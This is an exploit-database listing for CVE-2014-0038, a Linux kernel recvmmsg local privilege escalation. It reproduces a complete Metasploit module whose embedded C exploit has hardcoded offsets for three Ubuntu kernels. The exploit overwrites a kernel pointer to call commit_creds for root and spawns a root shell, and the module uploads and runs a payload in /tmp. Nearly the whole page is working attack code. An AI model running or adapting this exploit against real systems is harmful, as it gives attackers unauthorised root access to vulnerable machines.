Linux Kernel 3.13.1 Recvmmsg Privilege Escalation
CVE
Category
Price
Severity
CVE-2014-0038
CWE-264
$10,000
High
Author
Risk
Exploitation Type
Date
Andy Nguyen
High
Local
2016-10-10
CPE
cpe:cpe:/o:linux:linux_kernel:3.13.1
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016100094 Below is a copy:
Linux Kernel 3.13.1 Recvmmsg Privilege Escalation ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
'Description' => %q{
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
system call with a crafted timeout pointer parameter to gain root.
This exploit has offsets for 3 Ubuntu 13 kernels built in:
3.8.0-19-generic (13.04 default)
3.11.0-12-generic (13.10 default)
3.11.0-15-generic (13.10)
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
pointer which starts at 0xff*3 (765 seconds)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <[email protected] >', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Feb 2 2014',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Auto', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
'References' =>
[
[ 'EDB', '31347'],
[ 'EDB', '31346'],
[ 'CVE', '2014-0038'],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
if os_id == 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.11.0'
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
when '3.8.0'
if kernel == Gem::Version.new('3.8.0-19-generic')
vprint_good("Kernel #{kernel} is exploitable")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
recvmmsg = %q{
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left bbbb",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}
if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
close(sockfd);
fprintf(stderr,"\n");
trigger();
}
}
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname,fcontent)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
register_file_for_cleanup(fname)
end
if compile
recvmmsg.gsub!(/system("/bin/sh -i");/,
"system("#{payload_path}");")
upload_and_chmod("#{executable_path}.c", recvmmsg)
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
register_file_for_cleanup(executable_path)
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
fd = ::File.open( path, "rb")
recvmmsg = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, recvmmsg)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'a0RwAacU'
payload_path = "/tmp/#{payload_filename}"
end
upload_and_chmod(payload_path, generate_payload_exe)
stime = Time.now
vprint_status("Exploiting... May take 13min. Start time: #{stime}")
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum